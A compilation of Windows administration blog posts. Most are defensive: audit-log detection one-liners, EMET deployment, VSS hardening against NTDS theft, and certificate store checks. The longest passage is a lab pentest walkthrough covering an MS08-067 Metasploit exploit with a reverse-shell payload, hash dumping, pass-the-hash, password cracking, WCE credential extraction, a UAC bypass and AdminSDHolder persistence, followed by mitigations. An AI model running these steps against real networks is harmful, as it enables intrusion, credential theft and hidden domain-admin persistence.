You can find a cool one-liner that retrieves the events of the Account logon category in this Windows Logon Forensics whitepaper (chapter 6.4. Querying Events). The one-liner fetchs the following events which occurred during the past five days:

• A Kerberos authentication ticket (TGT) was requested.
• The computer attempted to validate the credentials for an account.

We were inspired by the one-liner presented in this document, downloaded at the SANS reading room, to make a Powershell one-liner the purpose of which is to gather proof of a potential attack on your Windows computer. First in order to have the relevant information in your security log you need to configure the advanced security audit policy settings. We will enable auditing for the following categories: Process Tracking\Process Creation, Object Access\Detailed File Share and Privilege Use\Sensitive Privilege Use. This can be done via GPO:

We enable the following parameter: Force audit policy subcategory settings to override audit policy category settings. Our computers are running Windows 7/2008R2. Beware of the consequences, legacy policies will be ignored.

Beware that you should not enable the Object Access\Detailed File Share setting on all types of servers: For example on a DC, because the SYSVOL share is often accessed by all your domain clients this setting will generate an important volume of logs to store/analyze.

The one-liner will search for the following events:

• Event ID 5145: Category Object Access\Detailed File Share, gives us information on the accessed shares. If one of the following administrative shares is accessed IPC$,ADMIN$,C$ and the access requested is a write access, %%4417 = WriteData(or Add File), then the event is returned.

• Event ID 4688: Category Process Tracking\Process Creation, monitors every process creation. If the process TokenElevationType is TokenElevationTypeDefault (%%1936) or TokenElevationTypeFull (%%1937) the event is gathered.

• Event ID 4674: Category Privilege Use\Sensitive Privilege Use, If the privilege requested is SeTcbPrivilege (Act as part of the operating system), SeTakeOwnershipPrivilege (Take ownership of files or other objects) or SeDebugPrivilege (Debug programs) the event is collected:

The following onliner searches for the three types of events described above which show up over the past 5 days:

get-eventlog -log security | where-object {$_.TimeGenerated -gt (get-date).adddays(-5) -AND $_.EntryType -eq 'SuccessAudit' –AND  (($_.EventID -eq "5145" -AND $_.Message -match "\\\\\*\\ADMIN\$|\\\\\*\\C\$|\\\\\*\\IPC\$"  -AND $_.Message -match "\%\%4417") -OR ($_.EventID -eq "4674" -AND $_.Message -match "SeTakeOwnershipPrivilege|SeDebugPrivilege|SeTcbPrivilege") -OR ($_.EventID -eq "4688"  -AND $_.Message -match "\%\%1936|\%\%1937"))} | sort-object -property TimeGenerated

In order to search patterns having special characters with a regular expression you need to use the “\” as an escape character.

If the 3 events occur successively this might be an evidence of a remote attack on the machine:

The security logs show us that the remote attacker IP address is 192.168.206.135. We will use the netstat command in order to retrieve the active connections and check if the attacker is still connected:

The following one-liner displays the netstat output and gives us the name of the process used now by the attacker in a more readable format than the netstat -anb command:

netstat -ano | Select-String -Pattern '\s+(TCP|UDP)' | foreach-object{$item = $_.line.split(' ',[System.StringSplitOptions]::RemoveEmptyEntries);if(($item[2] -notmatch '127.0.0.1:|\[::1\]:') -and ($item[2] -ne '*:*') -and ($item[2] -ne '0.0.0.0:0') -and ($item[2] -ne '[::]:0')){($item[0]+"`t"+$item[1]+"`t"+$item[2]+"`t"+$item[3]+"`t"+(get-process -id $item[4]).Name) | ft}}

Here is the connection used by the attacker:

For a more advanced script on the use of netstat with Powershell check this script.

In order to query the Oracle database with Powershell you need to install ODAC 64bits on a Windows 64bits machine. Launch the setup by installing only the ODP.net provider that matches your .NET Framework version. In our example:

install.bat odp.net2 c:\oracle myhome true

Now you can connect to the Oracle database by calling the Oracle.DataAccess.dll assembly brought by ODAC-64bits:

$Assemblyfile = "C:\oracle\odp.net\bin\2.x\Oracle.DataAccess.dll"
[Reflection.Assembly]::LoadFile($AssemblyFile) | out-null

Read this article for further information.

We do not want to leave the database connection credentials in plain text in the script. To avoid this we will use a secure string, the encrypted cred.txt file will be generated with the account launching the Exchange scheduled task.

If the file is read by another account, it will fail:

Here is how to generate the cred.txt file:

read-host -assecurestring "pass" | convertfrom -secure string | out-file c:\cred.txt

We now launch the connexion to the Oracle database:

#Read $Pword from file.
$Pword = get-content cred.txt | convertto-securestring
$user = "adm"
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User, $PWord

$OracleConnection = New-Object -TypeName Oracle.DataAccess.Client.OracleConnection

#Change host, Port, Service_Name values
$connectionString = "Data Source=(DESCRIPTION=(ADDRESS_LIST=(ADDRESS=(PROTOCOL=TCP)(Host=ldap389-oraclesrv)(Port=1532)))(CONNECT_DATA=(SERVICE_NAME=HR1)));User ID="+$credential.GetNetworkCredential().username+";Password="+$credential.GetNetworkCredential().password
$OracleConnection.ConnectionString = $ConnectionString
$OracleConnection.Open()

We look for the employees starting 3 days from now, to launch the right query we play with date formats.

#Date in format MM/DD/YYYY HH:MI:SS, +3 days from now

$date = Get-Date((get-date).addDays(+3)) -format "MM/dd/yyyy hh:mm:ss"
#Get users starting in 3 days in HR database, change table (LDAP389FAMILY), and attributes: HRCODE is customAttribute13
$CommandText  = "SELECT HRCODE,START_DATE FROM LDAP389FAMILY WHERE START_DATE BETWEEN SYSTEMDATE AND to_date('"+$date+"', 'MM/DD/YYYY HH24:MI:SS')"

#Launching query
$OracleCommand = New-Object -TypeName Oracle.DataAccess.Client.OracleCommand
$OracleCommand.CommandText = $CommandText
$OracleCommand.Connection = $OracleConnection
$OracleDataAdapter = New-Object -TypeName Oracle.DataAccess.Client.OracleDataAdapter
$OracleDataAdapter.SelectCommand = $OracleCommand
$DataSet = New-Object -TypeName System.Data.DataSet
$OracleDataAdapter.Fill($DataSet)
$OracleDataAdapter.Dispose()
$OracleCommand.Dispose()
$OracleConnection.Close()
$Oracleresults = $DataSet.Tables[0]

The scheduled task connects to the Exchange system as described in this previous post. It is launched with the account which has the authorization to read the secure string:

#With this command you do not need to install the Exchange Management Shell on the server, change the fqdn Cas-server.ldap389.local

$s = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri http://Cas-server.ldap389.local/PowerShell/
Import-PSSession $s -allowclobber

When creating a scheduled task, credentials set up to run the task are stored in LSAsecrets. You can improve security by using a gMSA under Windows 2012: The account has limited privileges and the password automatically updated, the password hash is also stored in LSAsecrets.

The script checks wether the HRCODEs retrieved from the Oracle database match a CustomAttribute13 of any Exchange mailbox or not. Wether the mailbox is already created or not, the relevant information is displayed:

foreach($Oracleresult in $Oracleresults)
{$customAttr13 = $Oracleresult.HRCODE

#Check if mailbox was created:  
$mbx = get-mailbox -filter "(CustomAttribute13 -eq '$customAttr13')"
	if($mbx){
	write-host '--------------------------------------------------'
	write-host 'MBX already created'
	write-host 'Exchange information'
	$mbx | select CustomAttribute13,WindowsEmailAddress,whencreated
	write-host 'HRCODE: '$customAttr13
	write-host 'Start date: '$Oracleresult.START_DATE
	}
	#Mailbox is not created:  
	else{
	write-host '--------------------------------------------------'
	write-host 'Create MBX ASAP'
	write-host 'HRCODE '$customAttr13
	write-host 'Start date: '$Oracleresult.START_DATE
	}
}

In order to download the full script just click on the link bellow:

No more excuses for creating a mailbox two weeks after an employee has started working at your company

You can setup these security settings by using a GPO, thanks to the ADMX files shipped in the EMET 3.0 package. The security settings are only effective when you install EMET on your clients, as a result you will need to deploy the package on all your clients with a software deployment tool (this is my recommendation), or via a GPO. In addition, in order to apply/renew the settings configured with the GPO you will need to launch the following command at client startup:

EMET_Conf.exe --refresh

We will configure the following emet.vbs startup script in our GPO:

Set fso = CreateObject("Scripting.FileSystemObject")
Set shl = CreateObject("WScript.Shell")

path="C:\Program Files (x86)\EMET\" 
exists = fso.FolderExists(path)

if (exists) then 
	program="EMET_Conf.exe"&chr(34)&" --refresh"
	cmd = chr(34)& path & program
	shl.Run cmd,1,True
end if

path2="C:\Program Files\EMET\"
exists2 = fso.FolderExists(path2)
if (exists2) then 
	program2="EMET_Conf.exe"&chr(34)&" --refresh"
	cmd2 = chr(34)& path2 & program2    
	shl.Run cmd2,1,True
end if

The ADMX files allow you to configure system wide mitigations: We enable DEP, ASLR and SEHOP in Optin mode (default mode) for all the processes. Then you can configure each process individually: We load the templates provided by Microsoft, who already tested some third party applications (Adobe Acrobat, Firefox)… Finally the result is a fat GPO which installs and configures EMET settings:

Before you deploy EMET, my advice is to read carefully the EMET User’s Guide shipped in the package and, of course, to test before implementation.

In order to know if an application is compiled with these mitigations available you can use binscope. Let’s take for example the nxfinder.exe process, we launch Process Explorer on a Windows XP 32bits machine where our GPO is not applied yet:

You can see that the process is digitally signed but the DEP mitigation is not enabled. We launch the binscope in order to analyze this process and check is the ASLR, DEP and SEHOP mitigations are available:

The following checks are performed:

• SafeSEHCheck: SEHOP feature.
• DBCheck: ASLR feature (/DYNAMICBASE check).
• NXCheck: DEP feature (NXCOMPAT Check).

As processes linked with the /NXCOMPAT option are opted-in to DEP by default only prior to Windows Vista, DEP is not enabled on our Windows XP 32bits machine for this process although it is totally compatible to run with DEP enabled. We will tell EMET to enable all mitigations for this process except SEHOP, because binscope tells us it is not necessary as the binary does not use exceptions. In the above fat GPO you can see the settings applied for the nxfinder.exe process. On the Windows XP 32bits machine, we can see with Process Explorer, that DEP is now enabled once the GPO has been applied:

Because ASLR is only available prior to Windows Vista, you can notice that we do not see this mitigation with Process Explorer under Windows XP 32bits. If we launch the same tool on a Windows 7 64bits system you can see the ASLR protection in the processes properties. In addition you can notice that DEP is always enabled (permanent) for 64-bit native programs:

With Process Explorer you can also check all the mitigations applied on each individual process by EMET, right click on a process in order to display the properties tab, navigate to the environment tab and check the EMET_settings value. You can also notice that the emet.dll is present in the threads tab on each process protected by EMET:

Another very good mitigation could be to disable all 32bits processes, this is for two reasons: Most malwares are 32bits processes so they won’t be able to run on those machines and you know that at least DEP will be enabled for all the processes. You can only achieve this under Windows 2008R2 Core. As EMET is a 32bits application, we will not apply the GPO on the Windows Core machines where 32bits processes are disabled (security group SRV-32bits-DISABLED):

Before disabling ServerCore-WoW64, ensure that not a single 32bits process is running on your Windows server core…

Just load the module under the Metasploit console and set up the right options:

msf > use auxiliary/admin/smb/grab
msf  auxiliary(grab) > set RHOSTS 192.168.206.134
RHOST => 192.168.206.134
msf  auxiliary(grab) > set SMBUser Administrator
SMBUser => Administrator
msf  auxiliary(grab) > set SMBDomain LDAP389
SMBDomain => LDAP389
msf  auxiliary(grab) > set SMBPass MyPassword
SMBPass => MyPassword
msf  auxiliary(grab) > show options
Module options (auxiliary/admin/smb/grab):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   LOGDIR     /tmp/NTDS_Grab   yes       This is a directory on your local attacking system used to store the ntds.dit and SYSTEM hive
   RHOSTS     192.168.206.134  yes       The target address range or CIDR identifier
   RPORT      445              yes       Set the SMB service port
   SMBDomain  LDAP389          no        The Windows domain to use for authentication
   SMBPass    MyPassword    no        The password for the specified username
   SMBSHARE   C$               yes       The name of a writeable share on the server
   SMBUser    Administrator    no        The username to authenticate as
   THREADS    1                yes       The number of concurrent threads
   VSCPATH                     no        The path to the target Volume Shadow Copy
   WINPATH    WINDOWS          yes       The name of the Windows directory (examples: WINDOWS, WINNT)
msf  auxiliary(grab) > run

And launch the module:

The module uses the vssadmin.exe tool in order to create a volume shadow copy of the partition hosting the NTDS database. This tool relies on the VSS service which is started when you backup your domain controller.

We will modify the VSS security settings as follows:

• For the domain controllers you do not backup: You do not need to backup all your Domain Controllers, Microsoft recommends to backup at least two DCs per domain (One holding FSMO roles, one not). In case of disaster you just reinstall from scratch a new DC using dcpromo and wait for replication or via Installation from Media if you want to gain some time. For these DCs you can disable the VSS service, remove the “start and stop service” and “modify security” ACE for every account (SYSTEM account included), finally enable auditing for this service. We enable security filtering on the GPO, the policy applies only to DCs you do not backup, they belong to the LDAP389-DC-NOBACKUP group:



• For the DCs you do backup: We leave VSS starting mode to manual, remove the “start and stop service” ACE for every account and remove the “modify security” ACE for every account except the SYSTEM account, finally enable auditing for this service. The backup will be configured with a scheduled task. We will describe this task later. We enable security filtering on the GPO, the policy applies only to DCs you do backup, they belong to the LDAP389-DC-BACKUP group:

When this configuration is applied the ntdsgrab.rb module will fail on every domain controller:

You can also track failed attempts to launch the VSSadmin.exe tool (Source: VSS, ID: 7001) by monitoring the application log. Because audit of the VSS service is enabled via GPO you can also see in the security log that the domain admin cannot start the VSS service (Audit failure, ID: 4656). Finally you can get the attacking machine IP by looking at the security events just before the audit failure:

In order to have a successful backup on the DCs members of the LDAP389-DC-BACKUP group, despite the security settings that avoid the VSS service to start, we will setup a scheduled task running under the SYSTEM account and launching the backup.cmd batch. In this batch we will use the wbadmin.exe to perform the backup, but before we use the sc sdset command in order to allow the SYSTEM to start the VSS service. Once backup is done we stop the VSS service and apply back the security settings pushed by GPO on the service. Here is the backup.cmd batch:

sc sdset vss D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWLOCRSDRC;;;BA)(A;;CCLCSWLOCRRC;;;IU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
wbadmin.exe start backup -backupTarget:E: -allCritical -systemState -quiet
net stop vss
sc sdset vss D:(A;;CCDCLCSWLOCRSDRCWDWO;;;SY)(A;;CCDCLCSWLOCRSDRC;;;BA)(A;;CCLCSWLOCRRC;;;IU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)

On the following screenshot you can see the scheduled task and that backup is successful:

Of course, as stated at the beginning of this post the hacker has gained domain admin privileges: He can logon to the DC, gain SYSTEM privileges, change the service security settings using the command line, and use VSSadmin in order to grab the NTDS file. But the above mitigation will make his task more difficult and make him leave more tracks in order you detect his attack more easily (VSS errors in the application log). Well at least he will leave more evidence for your forensics analysis…

As an additional mitigation technique, consider using a RODC on remote sites if you can: Configure the password replication policy to store only machine and user accounts passwords in the NTDS database belonging to the remote site. If the RODC is compromised you can force a password reset for all the users who had their credentials cached in the NTDS database.

We had the problem on Network Policy Server, on which the KB931125 added approximately 350 certificates to the computer’s trusted root certification authorities store. This server performs, among other things, WiFi authentication using the MS-ChapV2 protocol. The maximum size of the trusted certificate authorities list that the Schannel security package supports is 12.228 bytes. With 350 certificates we were above the limit: As a result the list of trusted root certificates was truncated and users were unable to authenticate. On the server’s eventlog you could see ID 36885 and 36887 source Schannel reporting the problem:

On this kind of server it could be useful to control what is present on the computer’s trusted root certification authorities store. This PowerShell script compares the content of the trusted root certification authorities store with a reference stored in a CSV file: In order to build the reference CSV file, launch the following commands on a server which will be your reference trusted root certification authorities store:

$store = New-Object System.Security.Cryptography.X509Certificates.X509Store("Root","LocalMachine")
$store.Open("ReadOnly")
$store.certificates | select thumbprint, Issuer, Subject | export-csv RefCerts.csv

Once the RefCerts.csv is generated, download the following script and set up a scheduled task on the servers you want to monitor. The script removes the certificates which are not present in the RefCerts.csv file, using the compare-object cmdlet and by comparing each certificate’s thumbprint. If a certificate is present in the RefCerts.csv file but not in the trusted root certification authorities store, the information is logged in the log.txt file: You will have to install it manually or use a GPO.

Just download the script by clicking the link below:

Update: A fix was released by MS 12th January 2013 to correct this issue KB2801679.

1) SCANNING:

The purpose of this step is to identify what computers are running in our test ADDS domain and which role and vulnerabilities are present on each computer. All the computers are in the same subnet. We launch the following Nmap command in order to launch the network scan (IP range is 192.168.206.132 to 255):

nmap -sS -p- -PN -O 192.168.206.132-255

The first discovered machine returns the following results:

Nmap scan report for ldap389-dc1.ldap389.local
(192.168.206.134)
Host is up (0.0023s latency).
Not shown: 65506 closed ports
PORT STATE SERVICE
53/tcp open domain
80/tcp open http
88/tcp open kerberos-sec
111/tcp open rpcbind
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
443/tcp open https
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
670/tcp open vacdsm-sws
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
[…]
No exact OS matches for host (If you know what OS is running on it, see http://nmap.org/submit/ ).

Because of the open ports and listening services we can easily assume that this machine is a domain controller. The OS cannot be retrieved under Nmap 6.01: It is a Windows 2012 server (Update: fixed in Nmap 6.25).

The tool also discovers a Windows 2008 SP1 server:

Nmap scan report for ldap389-srv2008.ldap389.local
(192.168.206.138)
Host is up (0.00074s latency).
Not shown: 65524 closed ports
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3389/tcp open ms-wbt-server
Device type: general purpose
Running: Microsoft Windows 7|2008
OS CPE: cpe:/o:microsoft:windows_7
cpe:/o:microsoft:windows_server_2008::sp1
OS details: Microsoft Windows 7 or Windows Server 2008 SP1

On this server the SMB 445 and RDP 3389 services are listening, which is useful information for the exploitation phase.

Finally we have a Windows 2003 SP0 which is not supported since April 10, 2007…

Nmap scan report for ldap389-srv2003.ldap389.local
(192.168.206.136)
Host is up (0.00100s latency).
Not shown: 65527 closed ports
PORT STATE SERVICE
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
443/tcp open https
445/tcp open microsoft-ds
1025/tcp open NFS-or-IIS
1026/tcp open LSA-or-nterm
3306/tcp open mysql
Device type: general purpose
Running: Microsoft Windows XP|2003
OS CPE: cpe:/o:microsoft:windows_xp::sp2:professional
cpe:/o:microsoft:windows_server_2003
OS details: Microsoft Windows XP Professional SP2 or Windows Server 2003

In addition to not being up to date, this webserver is running DVWA: Perfect to practice your pentesting skills :-). This server is a good match for scanning its vulnerabilities.

We launch Nessus in safe scan mode against the ldap389-srv2003 server (192.168.206.136):

We will exploit the MS08-67 vulnerabilty in order to take control of the server

This vulnerability could also be discovered with Nmap, using the following command:

nmap --script smb-check-vulns.nse -p445 192.168.206.136

Here is the result:

Starting Nmap 6.01 ( http://nmap.org ) at 2012-11-02 14:46 EDT
Nmap scan report for ldap389-srv2003.ldap389.local
(192.168.206.136)
Host is up (0.00083s latency).
PORT STATE SERVICE
445/tcp open microsoft-ds
Host script results:
| smb-check-vulns:
| MS08-067: VULNERABLE
| Conficker: Likely CLEAN
| regsvc DoS: CHECK DISABLED (add ‘–script-args=unsafe=1’ to run)
| SMBv2 DoS (CVE-2009-3103): CHECK DISABLED (add ‘–script-args=unsafe=1’ to run)
| MS06-025: CHECK DISABLED (remove ‘safe=1’ argument to run)
|_ MS07-029: CHECK DISABLED (remove ‘safe=1’ argument to run)
Nmap done: 1 IP address (1 host up) scanned in 1.03 seconds

Note about the vulnerability scan (Nessus or Nmap): Always lauch a safe scan otherwise you might crash the targetted OS.

We can now start the exploitation phase, because we have accurate information on the machines running on the domain, here is diagram of the intrusion scenario:

The password for the local admin account is the same on the servers ldap389-srv2003 and ldap389-srv2003, we will use the pass the hash technique in order to take control of the Windows 2008
server.

2) EXPLOITATION:

We will use Metasploit in order to exploit the MS08-67 vulnerability on the ldap389-srv2003 server. To have a look at the exploit’s ruby code and comments just launch the following command on your Backtrack box:

cd /pentest/exploits/framework/modules/exploits/windows/smb
gedit ms08_067_netapi.rb

In order to setup the options before launching the exploit, run the following commands under the Msfconsole:

use windows/smb/ms08_067_netapi
set RHOST 192.168.206.136
set LHOST 192.168.206.135
set PAYLOAD windows/meterpreter/reverse_tcp
show options

Launch the exploit with the exploit command:

We loaded the Meterpreter payload in order to have the necessary tools to begin the exploitation on this server.

The getuid command tells us that the Meterpreter server is running as SYSTEM on the host :-). We now launch the hashdump command, in order to retrieve the password hash of the local admin account. Those local accounts hashes are stored in the local SAM database:

meterpreter> getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter> hashdump
Administrator:500:'aad3b435b51404eeaad3b435b51404ee:b90930db6268c82853cbfdc1f7f1537d':::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089d0:::
SUPPORT_388945a0:1001:aad3b435b51404eeaad3b435b51404ee:68813b44fbd2ae8606c79c1afb24d5e6:::

We now have the password hash for the local admin account of ldap389-srv2003, we will now take control of ldap389-srv2008 who has the same password thanks to the pass the hash exploit.

Before that we will gather password hashes of some ldap389.local domain accounts stored on the ldap389-srv2003 machine via the cached logons process. We will try to crack those passwords offline later… We gather those hashes with the cachedump command. Those password hashes are located in a protected portion of the registry under HKLM\Security\Cache\NL$x, where x is a number representing each cached credential.

meterpreter> run post/windows/gather/cachedump

[*] Executing module against LDAP389-SRV2003
[*] Cached Credentials Setting: 10 – (Max is 50 and 0 disables, and 10 is default)
[*] Obtaining boot key…
[*] Obtaining Lsa key…
[*] XP compatible client
[*] Obtaining LK$KM…
[*] Dumping cached credentials…
[*] John the Ripper format:
srvadm:9ea326b1b8161510713bb3ff48d3ff44::
user0002:fd44c840886e0a17fa1810a69407f6f9::
[*] Hash are in MSCACHE format. (mscash)

Let’s take control of the ldap389-srv2008 machine with the pass the hash exploit, thanks to the hash gathered with hashdump. We discovered in part 1)scan that the SMB 445 port is open on this server, so we can use the pass the hash exploit:

Use /windows/smb/psexec
set RHOST 192.168.206.138
set LHOST 192.168.206.135
set SMBUser Administrator
set SMBDomain LDAP389-SRV2008
'set SMBPass aad3b435b51404eeaad3b435b51404ee:b90930db6268c82853cbfdc1f7f1537d'
exploit

Now we have access to ldap389-srv2008, we launch again a cachedump in order to gather more password hashes of ldap389.local domain accounts:

[*] Executing module against LDAP389-2008
[-] Cache setting not found…
[*] Obtaining boot key…
[*] Obtaining Lsa key…
[*] Trying ‘Vista’ style…
[*] Vista compatible client
[*] Obtaining LK$KM…
[*] Dumping cached credentials…
[*] John the Ripper format:
srvadm:9ea326b1b8161510713bb3ff48d3ff44::
domainadm:08f5fb57d58e5cb717bdccf1ae06fb21::
user0001:6d9bd71cfe5023ae976f5622bb299c83::
[*] Hash are in MSCACHE_VISTA format. (mscash2)

We will try to crack the password hashes retrieved on both machines ldap389-srv2003 and ldap-srv2008 offline with John the ripper.

Those hashes are computed with the following cryptographic algorithms:

• Windows 2003, format mscash : MD4(MD4(password) + username)
• Windows 2008, format mscash2 : PKCS#5(MD4(MD4(password) + username))

Only cached logons password hashes having a weak password can be broken in a reasonable amount of time, for more information on the subject read this article:

cd /pentest/passwords/john

'./john --format=mscash hash-ldap389-srv2003.txt'
Loaded 2 password hashes with 2 different salts (M$ Cache Hash MD4 [32/32])
Remaining 1 password hashes with 1 different salts
'user0002	(password)'
Session aborted

'./john --format=mscash2 hash-ldap389-srv2008.txt'
Loaded 3 password hashes with 3 different salts (M$ Cache Hash 2 (DCC2) PBKDF2-HMAC-SHA-1 [128/128 SSE2 4x])
' user0001         (user0001)'
guesses: 1  time: 0:00:00:18 3.04% (2) (ETA: Sun Oct 28 18:06:57 2012)  c/s: 704  trying: knight - sierra
Session aborted

The credentials user0002/password and user0001/user0001 were cracked easily but those accounts are just domain users Check group membership with the following command:

net user /DOMAIN %USERNAME%

In chapter 1)scanning we discovered that ldap389-srv2008 might have Remote Desktop Services enabled because the port 3389 was open. It means that some other users might have an open session on the machine at this moment. Let’s have a look at the running processes with the PS command:

meterpreter > ps
3028  884   dwm.exe               x86_64  2           LDAP389\domainadm             C:\Windows\System32\dwm.exe
meterpreter > shell
Process 1112 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.
 
C:\Windows\system32>net user /DOMAIN domainadm
The request will be processed at a domain controller for domain ldap389.local.
 User name                    domainadm
Full Name                    domainadm
Comment                      
Users comment               
Country code                 000 (System Default)
Account active               Yes
Account expires              Never
 
Password last set            10/25/2012 8:17:21 PM
Password expires             12/6/2012 8:17:21 PM
Password changeable          10/26/2012 8:17:21 PM
Password required            Yes
User may change password     Yes
 
Workstations allowed         All
Logon script                 
User profile                 
Home directory               
Last logon                   10/28/2012 3:20:31 PM
 
Logon hours allowed          All
 
Local Group Memberships      
'Global Group memberships     *Domain Admins        *Domain Users'         
The command completed successfully.
C:\Windows\system32>cd /d c:\
cd /d c:\
c:\>mkdir c:\tools
mkdir c:\tools
c:\> exit
meterpreter>migrate 3028
[*] Migrating to 3028...
[*] Migration completed successfully.

The dwm.exe (id 3028) process is running under the “LDAP389\domainadm” account, using the netuser command tells us that this user is a domain administrator We migrate the payload to this process and there you go: Your shell is running with the domain admin privileges… We also created a directory c:\tools, we will upload in this folder Windows Credential Editor, this tool allows you to read clear text passwords stored in memory by the lsass.exe process. With that tool you can retrieve clear text password of the users having a TS session opened on the server or the clear text password of the accounts configured to run a service on the machine:

meterpreter>upload wce.exe c:\\tools
meterpreter > shell
Process 1112 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.
C:\Windows\system32>cd /d c:\tools
C:\tools>wce -w
wce -w
WCE v1.3beta (X64) (Windows Credentials Editor) - (c) 2010,2011,2012 Amplia Security - by Hernan Ochoa (hernan@ampliasecurity.com)
Use -h for help.
'domainadm\LDAP389:St@giaire-P@pam@man12'
LDAP389-2008$\LDAP389:0(v5K,[L0!m$42m9/e#=&fh-NPROjoUN1Wp#s0uI D2*49WbyLS..>cB7jbQg5y`s/-l*TR,^Ym)9*dwyV2T9`YGPxR MEYvU'qknb]?f.a9GKWzCfF"

At this point we can consider that the exploitation phase is over! Some similar tools exist, they are presented in this article.

A last place where you can retrieve clear text passwords is the LSA Secrets. They are stored in registry like the cached logons: Under HKLM\SECURITY\Policy\Secrets\, if a service runs under a domain account it is a key named _SC_ServiceName. For more information read this post, you can also decrypt LSA secrets with PowerShell thanks to this script.

We will now describe how to mitigate these kind of attacks:

1. Patch your systems! You might want to setup a validation process, read this post if you want to use GPOs and WSUS
2. Do not use the same local admin account for all your servers (cf. pass the hash technique). Or use GPO setting “Deny access to this computer from the network” for local the admin account in order to prevent PtH attacks with this account
3. Use an appropriate password policy: Password must meet complexity requirements and expire. (cf. offline cracking). Use account lockout policy
4. Set the LMCompatibilityLevel value on your domain the highest you can.
5. Set up a cached logons count of 0 on your servers and desktop computers, of 1 on your laptops. However do not apply this setting on your cluster servers.
6. Revoke the “debug programs“ right for the local administrators group on your machines. Grant this right to a restricted AD group. Be aware that the cluster service needs this right to run properly.
7. Use MSA under Windows 7/2008 or gMSA under Windows 8/2012 in order to run services with domain accounts, instead of regular domain accounts for which you never change the password. Furthermore an MSA cannot perform an interactive logon.
8. Automatically log off disconnected TS sessions via GPO: This avoids having TS sessions remaining on a server, and as a consequence your clear text password stored in the server’s memory.
9. An employee who is a domain administrator should have three accounts: One standard account in order to access to his Email and write documents, one account for administrating servers: This account is not a domain administrator (use restricted group policies to define an AD group which is member of the local administrator group). Finally one domain administrator account, this account performs logons only against DCs and an AD Administration console, you should limit as much as possible the machines where the domain administrator logs on and regularly analyse those machine’s security eventlog.
10. Try to apply the principle of least privilige as much as you can when creating an AD account

In order to have more details of some of the mitigation processes I described, I suggest you read this SANS document.

Now we are domain admin and the exploitation phase is over we will see how to maintain access discreetly on this test domain.

3) MAINTAIN ACCESS:

In order to manipulate AD objects more easily it could be good to have the RSAT-AD-PowerShell feature installed on the ldap389-srv2008 machine. To install this feature we will upload the Install-ADDS-PSH.ps1 script in our c:\tools directory and launch the script for the meterpreter shell:

c:\tools>powershell.exe -f install-ADDS-Psh.ps1
powershell.exe -f install-ADDS-Psh.ps1
Add-WindowsFeature : Because of security restrictions imposed by User Account Control, you must run Add-WindowsFeature in a Windows PowerShell session opened
with elevated rights. To do this, right-click the Windows PowerShell or Command
Prompt Start menu object that you are using to start your Windows PowerShell s
essions, and then click Run as administrator.
At C:\tools\install-ADDS-Psh.ps1:2 char:19
+ add-windowsfeature <<<< RSAT-AD-PowerShell + CategoryInfo : PermissionDenied: (:) [Add-WindowsFeature], Exce ption + FullyQualifiedErrorId : NotAdministrator,Microsoft.Windows.ServerManager .Commands.AddWindowsFeatureCommand

Here is the Powershell script:

import-module servermanager
add-windowsfeature RSAT-AD-PowerShell

The UAC blocks the installation of the feature, and we want to keep using the meterpreter in order to remain discreet. The workaround is to create a scheduled task named InstallPSH with the meterpreter shell running under SYSTEM on the server, run the task and delete it:

meterpreter > shell
Process 1980 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.
 C:\Windows\system32>whoami
whoami
nt authority\system
C:\Windows\system32>schtasks.exe /create /TN InstallPSH /XML c:\tools\PSH.xml
C:\Windows\system32>schtasks.exe /run /I /TN InstallPSH
C:\Windows\system32>schtasks.exe /delete /TN InstallPSH /F

The scheduled task settings are imported from an XML file uploaded in c:\tools\PSH.xml. The RunLevel section allows you to bypass the UAC

  
    2012-10-28T16:53:11.6978602
    TOTO
  
  
    
      2010-10-28T16:50:57.9114026
      true
    
  
  
    
      S-1-5-18
      HighestAvailable
    
  
  
    IgnoreNew
    true
    true
    true
    false
    false
    
      true
      false
    
    true
    true
    true
    false
    false
    P3D
    7
  
  
    
      powershell.exe
      -f c:\tools\install-ADDS-Psh.ps1
    
  

Once the RSAT-AD-PowerShell feature is installed we can migrate with the meterpreter to a process running under the ldap389\domainadm account and launch Powershell scripts with the ADDS cmdlets

One obvious solution to maintain the access would be to create a new account member of the domain administrators group and set up password never expires on that account. But this solution is not really discreet because the members of this group are generally monitored.

Instead we will modify the ACL of the AdminSDHolder object, and grant modify rights for the user0001/user0001 account we cracked during the 2)exploitation phase. This account is modified so that its password never expires, generally a user will never complain or report this to the IT department

So why modify this particular object in AD? The AdminSDHolder object has a unique ACL, which is used to control the permissions of built-in privileged Active Directory groups and their members, for those objects the adminCount attribute equals 1. If this protection process finds that security is different on the protected object than on the AdminSDHolder object, it will force AdminSDHolder’s ACL on it.

The domain administrators group and the ldap389\domainadm account are protected objects, so if we modify the AdminSDHolder ACL, the ACL will be also modified on those two objects:

In order to set “password never expires” for the test0001 account and add the permissions for this account on the AdminSDHolder object we use the hack-ADDS-psh.ps1 script, this post helped me to play with ACLs:

import-module Activedirectory
get-aduser user0001 | set-aduser -PasswordNeverExpires $true
 
$obj = [ADSI]"LDAP://CN=AdminSDHolder,CN=System,DC=ldap389,DC=local"
 
$sid = (get-aduser user0001).sid
$aceOne = New-Object System.DirectoryServices.ActiveDirectoryAccessRule ($sid, 'CreateChild, DeleteChild, Self, WriteProperty, ExtendedRight, GenericRead, WriteDacl, 

